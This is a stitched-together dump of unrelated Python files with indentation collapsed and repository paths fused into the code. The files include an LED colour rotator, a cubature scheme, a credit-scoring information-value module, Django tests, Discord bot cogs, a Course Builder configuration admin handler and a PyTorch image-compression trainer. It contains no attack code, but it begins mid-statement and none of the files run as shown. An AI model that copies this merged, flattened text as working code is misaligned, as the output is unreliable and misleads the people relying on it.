self.curGreen, self.curBlue)) print str(self.curRed) + "," + str(self.curGreen) + "," + str(self.curBlue) def enterColorRotator(self): self.savedMatrixRGB = Colors.getRGBArray(self.matrix) # Get current avg RGB Values curAvgRGB = Colors.getAvgColor(Colors.getRGBArray(self.matrix), 1) self.curRed,self.curGreen,self.curBlue = Colors.ReverseColor(curAvgRGB) Colors.setSingleColor(self.matrix, self.rotator_binMatrix, Colors.Color(self.curRed,self.curGreen,self.curBlue)) random = False def exitColorRotator(self): for lednum in range (0, 64): if self.savedMatrixRGB[lednum] != 0x00: # If not black LED if self.random == True: self.savedMAtrixRGB[lednum] = randint(0, 0xFFFFFF) else: self.savedMatrixRGB[lednum] = Colors.Color(self.curRed, self.curGreen, self.curBlue) Colors.setRGBArray(self.matrix, self.savedMatrixRGB) def __init__(self, matrix): self.matrix = matrix self.rotator_binMatrix = Symbols.processSymbol(Symbols.COLOR_ROTATOR_SCREEN) 0 # -*- coding: utf-8 -*- import query_adapter import query import query_select_wizard import import_query_wizard dariusarnold/quadpyquadpy/hexahedron/_albrecht_collatz.py from sympy import Rational as frac from ..helpers import article, untangle from ._helpers import HexahedronScheme, fs_r00, fs_rr0, z _citation = article( authors=["", ""], title="Zur numerischen Auswertung mehrdimensionaler Integrale", journal="ZAMM", volume="38", number="1-2", year="1958", pages="1–15", url="https://doi.org/10.1002/zamm.19580380102", ) def albrecht_collatz(): data = [(frac(1, 4), z()), (frac(1, 12), fs_r00(1)), (frac(1, 48), fs_rr0(1))] points, weights = untangle(data) weights *= 8 return HexahedronScheme("Albrecht-Collatz", weights, points, 3, _citation) wjohnson/OpenLineage # SPDX-License-Identifier: Apache-2.0. try: from openlineage_sql import parse, SqlMeta, DbTableMeta, provider # noqa: F401 except ImportError: from openlineage.common.sql.parser import parse, SqlMeta, DbTableMeta, provider # noqa: F401 feature_selection/filter_selection/iv/information_value.py import numpy as np from sklearn.tree import DecisionTreeClassifier, _tree from fs_util.func import is_continuous DEFAULT_BINS = 6 def bin_by_splits(feature, splits, nan): """Bin feature by split points """ feature = np.nan_to_num(feature, nan=nan, copy=True) if not isinstance(splits, (list, np.ndarray)): splits = [splits] return np.digitize(feature, splits) def dt_bins(feature: np.ndarray, target, nan=-1, n_bins=None, min_samples=1, **kwargs): """ 使用决策树分箱 Args: feature (array-like) target (array-like): target will be used to fit decision tree nan (number): value will be used to fill nan n_bins (int): n groups that will be merged into min_samples (int): min number of samples in each leaf nodes Returns: array: array of split points """ if n_bins is None and min_samples == 1: n_bins = DEFAULT_BINS # feature = fillna(feature, by=nan) feature = np.nan_to_num(feature, copy=True, nan=nan) tree = DecisionTreeClassifier( min_samples_leaf=min_samples, max_leaf_nodes=n_bins, ) tree.fit(feature.reshape((-1, 1)), target) thresholds = tree.tree_.threshold thresholds = thresholds[thresholds != _tree.TREE_UNDEFINED] splits = np.sort(thresholds) if len(splits): bins = bin_by_splits(feature, splits, nan) else: bins = np.zeros(len(feature)) return bins def response_count(arr, value, smoothing_term=None): c = (arr == value).sum() if smoothing_term is not None and c == 0: return smoothing_term return c def quantity(target, mask=None): """get probability of target by mask """ if mask is None: return 1, 1 sub_target = target[mask] good_i = response_count(sub_target, 0, smoothing_term=1) bad_i = response_count(sub_target, 1, smoothing_term=1) return bad_i, good_i def WOE(bad_prob, good_prob): """get WOE of a group Args: bad_prob: the probability of grouped bad in total bad good_prob: the probability of grouped good in total good Returns: number: woe value """ return np.log(bad_prob / good_prob) def _IV(feature, target): """计算IV值 "1|bad" Args: feature np.ndarray target np.ndarray Returns: feature_iv: IV iv: IV of each groups """ iv = {} good_total = response_count(target, 0, smoothing_term=1) bad_total = response_count(target, 1, smoothing_term=1) for v in np.unique(feature): bad_i, good_i = quantity(target, mask=(feature == v)) bad_prob = bad_i / bad_total good_prob = good_i / good_total iv[v] = (bad_prob - good_prob) * WOE(bad_prob, good_prob) feature_iv = sum(list(iv.values())) return feature_iv, iv def cal_iv(feature, target, nan=-1, n_bins=None, **kwargs): """计算 feature 与 target 的IV值 Args: feature: 1d ndarray 特征数据 target: 1d ndarray 标签数据 nan: 对 空值的填补值 n_bins: 决策树分箱数，默认为6 Returns: iv : float 特征数据与标签数据的IV值. """ if is_continuous(feature): feature = dt_bins(feature, target, nan=nan, n_bins=n_bins, **kwargs) iv, group_iv = _IV(feature, target) # print("feature:{} 总IV值：{}， 各组IV值：{}".format(kwargs["feature_name"], iv, group_iv)) return iv corno93/mm-django from django.test import TestCase from django.contrib.auth import get_user_model class ModelTests(TestCase): def test_create_user_with_email_sucessful(self): """Testing creating user with email""" email = "" password = "" user = get_user_model().objects.create_user(email=email, password=password) self.assertEqual(user.email, email) self.assertTrue(user.check_password(password)) def test_normalizing_email(self): """test email for a new user is normalized""" email = "" password = "" user = get_user_model().objects.create_user(email=email, password=password) self.assertEqual(user.email, email.lower()) self.assertTrue(user.check_password(password)) def test_invalid_email(self): """test error raised when no email is provided""" with self.assertRaises(ValueError): get_user_model().objects.create_user(email=None, password="") def test_create_new_super_user(self): """test a super user has is_staff""" email = "" password = "" user = get_user_model().objects.create_superuser(email=email, password=password) self.assertEqual(user.email, email.lower()) self.assertTrue(user.check_password(password)) self.assertTrue(user.is_staff) self.assertTrue(user.is_superuser) dasher/dasher2.py0 from discord.ext import commands class Dasher(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_message(self, message): if message.author.bot: return else: if message.channel.id == 751768597239562260: await message.add_reaction("\U00002705") await message.add_reaction("\U0000274C") def setup(bot): bot.add_cog(Dasher(bot)) # Copyright 2012 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Classes supporting configuration property editor and REST operations.""" __author__ = ' ()' import cgi import urllib from controllers import sites from controllers.utils import BaseRESTHandler from controllers.utils import XsrfTokenManager from models import config from models import courses from models import models from models import roles from models import transforms from modules.oeditor import oeditor from google.appengine.api import users from google.appengine.ext import db # This is a template because the value type is not yet known. SCHEMA_JSON_TEMPLATE = """ { "id": "Configuration Property", "type": "object", "description": "Configuration Property Override", "properties": { "name" : {"type": "string"}, "value": {"optional": true, "type": "%s"}, "is_draft": {"type": "boolean"} } } """ # This is a template because the doc_string is not yet known. SCHEMA_ANNOTATIONS_TEMPLATE = [ (['title'], 'Configuration Property Override'), (['properties', 'name', '_inputex'], { 'label': 'Name', '_type': 'uneditable'}), oeditor.create_bool_select_annotation( ['properties', 'is_draft'], 'Status', 'Pending', 'Active', description='Active: This value is active and ' 'overrides all other defaults.
    Pending: This ' 'value is not active yet, and the default settings still apply.')] class ConfigPropertyRights(object): """Manages view/edit rights for configuration properties.""" @classmethod def can_view(cls): return cls.can_edit() @classmethod def can_edit(cls): return roles.Roles.is_super_admin() @classmethod def can_delete(cls): return cls.can_edit() @classmethod def can_add(cls): return cls.can_edit() class ConfigPropertyEditor(object): """An editor for any configuration property.""" # Map of configuration property type into inputex type. type_map = {str: 'string', int: 'integer', bool: 'boolean'} @classmethod def get_schema_annotations(cls, config_property): """Gets editor specific schema annotations.""" doc_string = '%s Default: \'%s\'.' % ( config_property.doc_string, config_property.default_value) item_dict = [] + SCHEMA_ANNOTATIONS_TEMPLATE item_dict.append(( ['properties', 'value', '_inputex'], { 'label': 'Value', '_type': '%s' % cls.get_value_type( config_property), 'description': doc_string})) return item_dict @classmethod def get_value_type(cls, config_property): """Gets an editor specific type for the property.""" value_type = cls.type_map[config_property.value_type] if not value_type: raise Exception('Unknown type: %s', config_property.value_type) if config_property.value_type == str and config_property.multiline: return 'text' return value_type @classmethod def get_schema_json(cls, config_property): """Gets JSON schema for configuration property.""" return SCHEMA_JSON_TEMPLATE % cls.get_value_type(config_property) def get_add_course(self): """Handles 'add_course' action and renders new course entry editor.""" exit_url = '/admin?action=courses' rest_url = CoursesItemRESTHandler.URI template_values = {} template_values[ 'page_title'] = 'U-MOOC - Add Course' template_values['main_content'] = oeditor.ObjectEditor.get_html_for( self, CoursesItemRESTHandler.SCHEMA_JSON, CoursesItemRESTHandler.SCHEMA_ANNOTATIONS_DICT, None, rest_url, exit_url, auto_return=True, save_button_caption='Add New Course') self.render_page(template_values) def get_config_edit(self): """Handles 'edit' property action.""" key = self.request.get('name') if not key: self.redirect('/admin?action=settings') item = config.Registry.registered[key] if not item: self.redirect('/admin?action=settings') template_values = {} template_values[ 'page_title'] = 'U-MOOC - Edit Settings' exit_url = '/admin?action=settings#%s' % cgi.escape(key) rest_url = '/rest/config/item' delete_url = '/admin?%s' % urllib.urlencode({ 'action': 'config_reset', 'name': key, 'xsrf_token': cgi.escape(self.create_xsrf_token('config_reset'))}) template_values['main_content'] = oeditor.ObjectEditor.get_html_for( self, ConfigPropertyEditor.get_schema_json(item), ConfigPropertyEditor.get_schema_annotations(item), key, rest_url, exit_url, delete_url=delete_url) self.render_page(template_values) def post_config_override(self): """Handles 'override' property action.""" name = self.request.get('name') # Find item in registry. item = None if name and name in config.Registry.registered.keys(): item = config.Registry.registered[name] if not item: self.redirect('/admin?action=settings') # Add new entity if does not exist. try: entity = config.ConfigPropertyEntity.get_by_key_name(name) except db.BadKeyError: entity = None if not entity: entity = config.ConfigPropertyEntity(key_name=name) entity.value = str(item.value) entity.is_draft = True entity.put() models.EventEntity.record( 'override-property', users.get_current_user(), transforms.dumps({ 'name': name, 'value': str(entity.value)})) self.redirect('/admin?%s' % urllib.urlencode( {'action': 'config_edit', 'name': name})) def post_config_reset(self): """Handles 'reset' property action.""" name = self.request.get('name') # Find item in registry. item = None if name and name in config.Registry.registered.keys(): item = config.Registry.registered[name] if not item: self.redirect('/admin?action=settings') # Delete if exists. try: entity = config.ConfigPropertyEntity.get_by_key_name(name) if entity: old_value = entity.value entity.delete() models.EventEntity.record( 'delete-property', users.get_current_user(), transforms.dumps({ 'name': name, 'value': str(old_value)})) except db.BadKeyError: pass self.redirect('/admin?action=settings') class CoursesItemRESTHandler(BaseRESTHandler): """Provides REST API for course entries.""" URI = '/rest/courses/item' SCHEMA_JSON = """ { "id": "Course Entry", "type": "object", "description": "Course Entry", "properties": { "name": {"type": "string"}, "title": {"type": "string"}, "admin_email": {"type": "string"} } } """ SCHEMA_DICT = transforms.loads(SCHEMA_JSON) SCHEMA_ANNOTATIONS_DICT = [ (['title'], 'New Course Entry'), (['properties', 'name', '_inputex'], {'label': 'Unique Name'}), (['properties', 'title', '_inputex'], {'label': 'Course Title'}), (['properties', 'admin_email', '_inputex'], { 'label': 'Course Admin Email'})] def get(self): """Handles HTTP GET verb.""" if not ConfigPropertyRights.can_view(): transforms.send_json_response( self, 401, 'Access denied.') return transforms.send_json_response( self, 200, 'Success.', payload_dict={ 'name': 'new_course', 'title': 'My New Course', 'admin_email': self.get_user().email()}, xsrf_token=XsrfTokenManager.create_xsrf_token( 'add-course-put')) def put(self): """Handles HTTP PUT verb.""" request = transforms.loads(self.request.get('request')) if not self.assert_xsrf_token_or_fail( request, 'add-course-put', {}): return if not ConfigPropertyRights.can_edit(): transforms.send_json_response( self, 401, 'Access denied.') return payload = request.get('payload') json_object = transforms.loads(payload) name = json_object.get('name') title = json_object.get('title') admin_email = json_object.get('admin_email') # Add the new course entry. errors = [] entry = sites.add_new_course_entry(name, title, admin_email, errors) if not entry: errors.append('Error adding a new course entry.') if errors: transforms.send_json_response(self, 412, '\n'.join(errors)) return # We can't expect our new configuration being immediately available due # to datastore queries consistency limitations. So we will instantiate # our new course here and not use the normal sites.get_all_courses(). app_context = sites.get_all_courses(entry)[0] # Update course with a new title and admin email. new_course = courses.Course(None, app_context=app_context) if not new_course.init_new_course_settings(title, admin_email): transforms.send_json_response( self, 412, 'Added new course entry, but failed to update title and/or ' 'admin email. The course.yaml file already exists and must be ' 'updated manually.') return transforms.send_json_response( self, 200, 'Added.', {'entry': entry}) class ConfigPropertyItemRESTHandler(BaseRESTHandler): """Provides REST API for a configuration property.""" def get(self): """Handles REST GET verb and returns an object as JSON payload.""" key = self.request.get('key') if not ConfigPropertyRights.can_view(): transforms.send_json_response( self, 401, 'Access denied.', {'key': key}) return item = None if key and key in config.Registry.registered.keys(): item = config.Registry.registered[key] if not item: self.redirect('/admin?action=settings') try: entity = config.ConfigPropertyEntity.get_by_key_name(key) except db.BadKeyError: entity = None if not entity: transforms.send_json_response( self, 404, 'Object not found.', {'key': key}) else: entity_dict = {'name': key, 'is_draft': entity.is_draft} entity_dict['value'] = transforms.string_to_value( entity.value, item.value_type) json_payload = transforms.dict_to_json( entity_dict, transforms.loads( ConfigPropertyEditor.get_schema_json(item))) transforms.send_json_response( self, 200, 'Success.', payload_dict=json_payload, xsrf_token=XsrfTokenManager.create_xsrf_token( 'config-property-put')) def put(self): """Handles REST PUT verb with JSON payload.""" request = transforms.loads(self.request.get('request')) key = request.get('key') if not self.assert_xsrf_token_or_fail( request, 'config-property-put', {'key': key}): return if not ConfigPropertyRights.can_edit(): transforms.send_json_response( self, 401, 'Access denied.', {'key': key}) return item = None if key and key in config.Registry.registered.keys(): item = config.Registry.registered[key] if not item: self.redirect('/admin?action=settings') try: entity = config.ConfigPropertyEntity.get_by_key_name(key) except db.BadKeyError: transforms.send_json_response( self, 404, 'Object not found.', {'key': key}) return payload = request.get('payload') json_object = transforms.loads(payload) new_value = item.value_type(json_object['value']) # Validate the value. errors = [] if item.validator: item.validator(new_value, errors) if errors: transforms.send_json_response(self, 412, '\n'.join(errors)) return # Update entity. old_value = entity.value entity.value = str(new_value) entity.is_draft = json_object['is_draft'] entity.put() models.EventEntity.record( 'put-property', users.get_current_user(), transforms.dumps({ 'name': key, 'before': str(old_value), 'after': str(entity.value)})) transforms.send_json_response(self, 200, 'Saved.') xezzz/Harpoon async def run(plugin, ctx, text): if plugin.db.configs.get(ctx.guild.id, "automod") is False: return await ctx.send(plugin.t(ctx.guild, "automod_disabled", _emote="WARN")) text = text.lower() censored = [x.lower() for x in plugin.db.configs.get(ctx.guild.id, "censored_words")] prefix = plugin.bot.get_guild_prefix(ctx.guild) if len(censored) < 1: return await ctx.send(plugin.t(ctx.guild, "black_list_empty", _emote="WARN", prefix=prefix)) if text not in censored: return await ctx.send(plugin.t(ctx.guild, "not_on_black_list", _emote="WARN")) censored.remove(text) plugin.db.configs.update(ctx.guild.id, "censored_words", censored) await ctx.send(plugin.t(ctx.guild, "removed_from_black_list", _emote="YES", word=text))import unittest from lbry.schema.tags import normalize_tag, clean_tags class TestTagNormalization(unittest.TestCase): def assertNormalizedTag(self, clean, dirty): self.assertEqual(clean, normalize_tag(dirty)) def test_normalize_tag(self): tag = self.assertNormalizedTag tag('', ' \t #!~') tag('tag', 'Tag') tag('t ag', '\tT \nAG ') tag('tag hash', '#tag~#hash!') def test_clean_tags(self): self.assertEqual(['tag'], clean_tags([' \t #!~', '!taG', '\t'])) # Generated by Django 2.1 on 2018-08-07 19:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('paperminis', '0005_printsettings'), ] operations = [ migrations.AlterField( model_name='printsettings', name='base_shape', field=models.CharField(choices=[('square', 'Square'), ('hexagon', 'Hexagon'), ('circle', 'Circle')], default='square', max_length=50), ), ] tests/test_BaseConfigParser.py import unittest from tests import BaseNetParserTest class TestBaseConfigParser(BaseNetParserTest): pass del BaseNetParserTest if __name__ == '__main__': unittest.main()ddossett/python-tutorialscripts/dungeonworld/dwtools.py import random random.seed() randint = random.randint def roll2d6(): """Returns a tuple containing the results of the two d6 rolls""" return (randint(1,6), randint(1,6)) mcquic/train/trainer.py import functools import os import shutil from time import sleep from typing import Callable, Optional, Tuple, Type import signal import threading import gc import torch from torch.utils.data import DataLoader, DistributedSampler from torch import distributed as dist from vlutils.base.freqHook import ChainHook from vlutils.saver import Saver from vlutils.logger import trackingFunctionCalls from vlutils.base import Restorable from vlutils.runtime import relativePath from rich import filesize from mcquic.consts import Consts from mcquic.loss import Distortion from mcquic.validate.utils import EMATracker from mcquic.modules.compound import Compound from mcquic import Config from mcquic.modules.compressor import BaseCompressor from mcquic.validate import Validator from mcquic.utils import totalParameters from mcquic.datasets.transforms import getTrainingTransform from .utils import EpochFrequencyHook, checkHook, getRichProgress class _baseTrainer(Restorable): def __init__(self, config: Config, modelFn: Callable[[], Tuple[BaseCompressor, Distortion]], optimizer: Type[torch.optim.Optimizer], scheduler: Type[torch.optim.lr_scheduler._LRScheduler], saver: Saver, **_): super().__init__() self.saver = saver self.rank = dist.get_rank() self.saver.debug("<%s> is located at rank `%d`", self.__class__.__name__, self.rank) self.worldSize = dist.get_world_size() torch.cuda.set_device(self.rank) self.config = config self._epoch = 0 self._step = 0 # Used for self.PrettyStep self.lastFormatted = -1 self.prettyStep = "......" self.transform = getTrainingTransform().to(self.rank) self.saver.debug("[%s] Creating model...", self.PrettyStep) compressor, criterion = trackingFunctionCalls(modelFn, self.saver)() self._model = Compound(compressor.to(self.rank), criterion.to(self.rank), device_ids=[self.rank], output_device=self.rank) self.saver.debug("[%s] Model created.", self.PrettyStep) self.saver.debug("[%s] Model size: %s", self.PrettyStep, totalParameters(self._model)) self.saver.debug("[%s] Creating optimizer...", self.PrettyStep) optimizer = trackingFunctionCalls(optimizer, self.saver) self._optimizer = optimizer(self._model.parameters(), **self.config.Train.Optim.Params) self.optimFn = optimizer self.saver.debug("[%s] Optimizer created.", self.PrettyStep) self.saver.debug("[%s] Creating LR scheduler...", self.PrettyStep) scheduler = trackingFunctionCalls(scheduler, self.saver) self._scheduler = scheduler(self._optimizer, **self.config.Train.Schdr.Params) self.schdrFn = scheduler self.saver.debug("[%s] LR scheduler created.", self.PrettyStep) self.saver.debug("[%s] <%s> created.", self.PrettyStep, self.__class__.__name__) def save(self, path = None): self.saver.save(path, trainer=self, config=self.config.serialize()) @property def PrettyStep(self): if self._step == self.lastFormatted: return self.prettyStep else: self.prettyStep = self._formatStep(self._step) self.lastFormatted = self._step return self.prettyStep @staticmethod def _formatStep(step): unit, suffix = filesize.pick_unit_and_suffix(step, ["", "k", "M"], 1000) if unit < 10: return f"{(step // unit):5d}" else: truncated = step / unit if truncated < 10: return f"{truncated:4.6f}"[:4] + suffix elif truncated < 100: return f"{truncated:4.6f}"[:4] + suffix else: return f"{truncated:11.6f}"[:4] + suffix def restoreStates(self, path: str): self.saver.debug("[%s] Restored state dict from `%s`", self.PrettyStep, path) self.saver.load(path, torch.device(f"cuda:{self.rank}"), logger=self.saver, trainer=self) self.saver.debug("[%s] Restore network parameters finished.", self.PrettyStep) self.resetOptimizer() for group in self._optimizer.param_groups: group.setdefault('initial_lr', group['lr']) self.resetScheduler(self._scheduler.last_epoch) def resetOptimizer(self): del self._optimizer self._optimizer = self.optimFn(self._model.parameters(), **self.config.Train.Optim.Params) self.saver.debug("[%s] Optimizer reset.", self.PrettyStep) def resetScheduler(self, lastEpoch=-1): del self._scheduler self._scheduler = self.schdrFn(self._optimizer, last_epoch=lastEpoch, **self.config.Train.Schdr.Params) self.saver.debug("[%s] LR scheduler reset.", self.PrettyStep) def _beforeRun(self, hook, *args, **kwArgs): if self._step > 0: self.saver.info("[%s] Resume training at %s steps / %d epochs.", self.PrettyStep, self.PrettyStep, self._epoch) else: self.saver.info("[%s] Start training.", self.PrettyStep) self.saver.debug("[%s] Training loop started.", self.PrettyStep) hook(self._step, self._epoch, self, *args, logger=self.saver, **kwArgs) def _afterRun(self, hook, *args, **kwArgs): self.saver.debug("[%s] Training loop finished.", self.PrettyStep) hook(self._step, self._epoch, self, *args, logger=self.saver, **kwArgs) def _stepStart(self, hook, *args, **kwArgs): hook(self._step, self._epoch, self, *args, logger=self.saver, **kwArgs) def _stepFinish(self, hook, *args, **kwArgs): self._step += 1 hook(self._step, self._epoch, self, *args, logger=self.saver, **kwArgs) def _epochStart(self, hook, *args, trainSampler, **kwArgs): trainSampler.set_epoch(self._epoch) self.saver.debug("[%s] Epoch %4d started.", self.PrettyStep, self._epoch + 1) gc.collect() gc.collect() hook(self._step, self._epoch, self, *args, trainSampler=trainSampler, logger=self.saver, **kwArgs) def _epochFinish(self, hook, *args, **kwArgs): self._epoch += 1 self.saver.debug("[%s] Epoch %4d finished.", self.PrettyStep, self._epoch) self._scheduler.step() self.saver.debug("[%s] Lr is set to %.2e.", self.PrettyStep, self._scheduler.get_last_lr()[0]) hook(self._step, self._epoch, self, *args, logger=self.saver, **kwArgs) def train(self, trainLoader: DataLoader, trainSampler: DistributedSampler, *_, beforeRunHook: Optional[Callable] = None, afterRunHook: Optional[Callable] = None, epochStartHook: Optional[Callable] = None, epochFinishHook: Optional[Callable] = None, stepStartHook: Optional[Callable] = None, stepFinishHook: Optional[Callable] = None, **__): beforeRunHook = checkHook(beforeRunHook, "BeforeRunHook", self.saver) afterRunHook = checkHook(afterRunHook, "AfterRunHook", self.saver) stepStartHook = checkHook(stepStartHook, "StepStartHook", self.saver) stepFinishHook = checkHook(stepFinishHook, "StepFinishHook", self.saver) epochStartHook = checkHook(epochStartHook, "EpochStartHook", self.saver) epochFinishHook = checkHook(epochFinishHook, "EpochFinishHook", self.saver) trainingArgs = { "trainLoader": trainLoader, "trainSampler": trainSampler } self._beforeRun(beforeRunHook, **trainingArgs) images, postProcessed, xHat, codes, logits = None, None, None, None, None for _ in range(self._epoch, self.config.Train.Epoch): self._epochStart(epochStartHook, **trainingArgs) for images in trainLoader: images = self.transform(images.to(self.rank, non_blocking=True)) self._stepStart(stepStartHook, **trainingArgs) self._optimizer.zero_grad() (postProcessed, xHat), (rate, distortion), codes, logits = self._model(images) (rate + distortion).backward() self._optimizer.step() self._stepFinish(stepFinishHook, rate=rate, distortion=distortion, **trainingArgs) self._epochFinish(epochFinishHook, images=images, restored=xHat, postProcessed=postProcessed, codes=codes, logits=logits, trainSet=trainLoader.dataset, **trainingArgs) self._afterRun(afterRunHook) class MainTrainer(_baseTrainer): def __init__(self, config: Config, modelFn: Callable[[], Tuple[BaseCompressor, Distortion]], optimizer: Type[torch.optim.Optimizer], scheduler: Type[torch.optim.lr_scheduler._LRScheduler], saver: Saver): if dist.get_rank() != 0: raise AttributeError("A sub-process should not to be a , use instead.") self.rank = dist.get_rank() self.config = config self.saver = saver self.progress = getRichProgress().__enter__() self.trainingBar = self.progress.add_task("", start=False, progress="[----/----]", suffix=Consts.CDot * 10) self.epochBar = self.progress.add_task("[----/----]", start=False, progress="", suffix=Consts.CDot * 10) self.validator = Validator(self.config, self.rank) self.diffTracker = EMATracker((), 0.99).to(self.rank) # Call function at every X epoches. self.epochFinishCalls = EpochFrequencyHook( (1, self.log), logger=self.saver ) self.epochStartCalls = EpochFrequencyHook( (self.config.Train.ValFreq, self.validate), logger=self.saver ) self.bestRate = 1e10 self.bestDistortion = -1 super().__init__(config, modelFn, optimizer, scheduler, saver) signal.signal(signal.SIGTERM, self._terminatedHandler) def _kill(self): sleep(Consts.TimeOut) self.saver.critical("[%s] Timeout exceeds, killed.", self.PrettyStep) signal.raise_signal(signal.SIGKILL) # Handle SIGTERM when main process is terminated. # Save necessary info. def _terminatedHandler(self, signum, frame): killer = threading.Thread(target=self._kill, daemon=True) killer.start() self.saver.critical("[%s] Main process was interrupted, try to save necessary info.", self.PrettyStep) self.saver.critical("[%s] This post-process will be killed after %d secs if stuck.", self.PrettyStep, Consts.TimeOut) self.progress.__exit__(None, None, None) self.save(os.path.join(self.saver.SaveDir, "last.ckpt")) self.saver.critical("[%s] Find the last checkpoint at `%s`", self.PrettyStep, relativePath(os.path.join(self.saver.SaveDir, "last.ckpt"))) self.summary() self.saver.critical("[%s] QUIT.", self.PrettyStep) # reset to default SIGTERM handler signal.signal(signal.SIGTERM, signal.SIG_DFL) signal.raise_signal(signal.SIGTERM) def summary(self): if abs(self.bestRate / self.bestDistortion) > 1e4: self.saver.info("[%s] Total epoches: %d, total steps: %s, best rate/distortion: N/A.", self.PrettyStep, self._epoch, self.PrettyStep) else: self.saver.info("[%s] Total epoches: %d, total steps: %s, best rate/distortion: %.4f / %.2fdB.", self.PrettyStep, self._epoch, self.PrettyStep, self.bestRate, self.bestDistortion) self.saver.info("[%s] Test this model by `python -m mcquic.validate --path %s`.", self.PrettyStep, relativePath(os.path.join(self.saver.SaveDir, "[ONE_OF_A].ckpt"))) def train(self, trainLoader: DataLoader, trainSampler: DistributedSampler, valLoader: DataLoader, *_, beforeRunHook: Optional[Callable] = None, afterRunHook: Optional[Callable] = None, epochStartHook: Optional[Callable] = None, epochFinishHook: Optional[Callable] = None, stepStartHook: Optional[Callable] = None, stepFinishHook: Optional[Callable] = None, **__): return super().train(trainLoader, trainSampler, beforeRunHook=beforeRunHook, afterRunHook=afterRunHook, epochStartHook=ChainHook( functools.partial(self.epochStartCalls, valLoader=valLoader), epochStartHook), epochFinishHook=ChainHook( self.epochFinishCalls, epochFinishHook), stepStartHook=stepStartHook, stepFinishHook=ChainHook(self._stepFinishHook, stepFinishHook)) def _beforeRun(self, hook, *args, trainLoader, **kwargs): totalBatches = len(trainLoader) self.progress.update(self.trainingBar, total=totalBatches) self.progress.update(self.epochBar, total=self.config.Train.Epoch * totalBatches, completed=self._step, description=f"[{self._epoch + 1:4d}/{self.config.Train.Epoch:4d}]") self.progress.start_task(self.trainingBar) self.progress.start_task(self.epochBar) super()._beforeRun(hook, *args, totalBatches=totalBatches, **kwargs) self.saver.info("[%s] See you at `%s`", self.PrettyStep, self.saver.TensorboardURL) def _afterRun(self, hook, *args, **kwArgs): self.progress.__exit__(None, None, None) super()._afterRun(hook, *args, **kwArgs) self.summary() def _stepFinishHook(self, *_, rate, distortion, **__): distortionDB = self._model.formatDistortion(distortion) moment = self.diffTracker(distortionDB) task = self.progress.get_task(self.trainingBar) self.progress.update(self.trainingBar, advance=1, progress=f"[{task.completed + 1:4d}/{task.total:4d}]", suffix=f"D = [b green]{moment:2.2f}[/]dB") self.progress.update(self.epochBar, advance=1) if self._step % 100 != 0: return self.saver.add_scalar(f"Stat/{self.config.Train.Target}", moment, global_step=self._step) self.saver.add_scalar("Stat/Lr", self._scheduler.get_last_lr()[0], global_step=self._step) def _epochStart(self, hook, *args, **kwArgs): self.progress.reset(self.trainingBar) self.progress.update(self.epochBar, description=f"[{self._epoch + 1:4d}/{self.config.Train.Epoch:4d}]") super()._epochStart(hook, *args, **kwArgs) def log(self, *_, images, postProcessed, restored, codes, logits, **__): self.saver.add_scalar("Stat/Epoch", self._epoch, self._step) # First level, first image, first group self.saver.add_histogram("Stat/LogDistance", (-(logits[0][0, 0])).clamp(Consts.Eps).log10(), global_step=self._step) freq = self._model.Compressor.NormalizedFreq # [m, ki] for lv, (fr, c) in enumerate(zip(freq, codes)): self.saver.add_histogram_raw(f"Stat/FreqLv{lv}", min=0, max=len(fr[0]), num=len(fr[0]), sum=fr[0].sum(), sum_squares=(fr[0] ** 2).sum(), bucket_limits=list(range(len(fr[0]))), bucket_counts=fr[0], global_step=self._step) self.saver.add_images(f"Train/CodeLv{lv}", self.validator.visualizeIntermediate(c), self._step) self.saver.add_images("Train/Raw", self.validator.tensorToImage(images), global_step=self._step) self.saver.add_images("Train/Post", self.validator.tensorToImage(postProcessed), global_step=self._step) self.saver.add_images("Train/Res", self.validator.tensorToImage(restored), global_step=self._step) self.saver.add_scalar("Stat/CodeUsage", self._model.Compressor.CodeUsage, global_step=self._step) def validate(self, *_, valLoader: DataLoader, **__): torch.cuda.empty_cache() self.saver.debug("[%s] Start validation at epoch %4d.", self.PrettyStep, self._epoch) self._model.eval() results, summary = self.validator.validate(self._epoch, self._model.Compressor, valLoader, self.progress) self.saver.add_scalar(f"Eval/MsSSIM", results["MsSSIM"], global_step=self._step) self.saver.add_scalar(f"Eval/PSNR", results["PSNR"], global_step=self._step) self.saver.add_scalar(f"Eval/BPP", results["BPP"], global_step=self._step) self.saver.add_images(f"Eval/Visualization", results["Visualization"], global_step=self._step) self.save() rate, distortion = results["BPP"], results[self.config.Train.Target] # TODO: Why d/r continously decrease? # if (distortion / rate) > (self.bestDistortion / self.bestRate): if distortion > self.bestDistortion: self.bestDistortion = distortion self.bestRate = rate self.progress.update(self.epochBar, suffix=f"H = [b red]{self.bestDistortion:2.2f}[/]dB") shutil.copy2(self.saver.SavePath, os.path.join(self.saver.SaveDir, "best.ckpt")) self.saver.info("[%s] %s", self.PrettyStep, summary) self._model.train() self.saver.debug("[%s] End validation at epoch %4d.", self.PrettyStep, self._epoch) class PalTrainer(_baseTrainer): def __init__(self, config: Config, modelFn: Callable[[], Tuple[BaseCompressor, Distortion]], optimizer: Type[torch.optim.Optimizer], scheduler: Type[torch.optim.lr_scheduler._LRScheduler], saver: Saver): if dist.get_rank() == 0: raise AttributeError("You should call for main process other than to save, log necessary information.") super().__init__(config, modelFn, optimizer, scheduler, saver) def train(self, trainLoader: DataLoader, trainSampler: DistributedSampler, *_, beforeRunHook: Optional[Callable] = None, afterRunHook: Optional[Callable] = None, epochStartHook: Optional[Callable] = None, epochFinishHook: Optional[Callable] = None, stepStartHook: Optional[Callable] = None, stepFinishHook: Optional[Callable] = None, **__): return super().train(trainLoader, trainSampler, beforeRunHook=beforeRunHook, afterRunHook=afterRunHook, epochStartHook=epochStartHook, epochFinishHook=epochFinishHook, stepStartHook=stepStartHook, stepFinishHook=stepFinishHook) def getTrainer(rank: int, config: Config, modelFn: Callable[[], Tuple[BaseCompressor, Distortion]], optimizer: Type[torch.optim.Optimizer], scheduler: Type[torch.optim.lr_scheduler._LRScheduler], saver: Saver) -> _baseTrainer: if rank == 0: return MainTrainer(config, modelFn, optimizer, scheduler, saver) return PalTrainer(config, 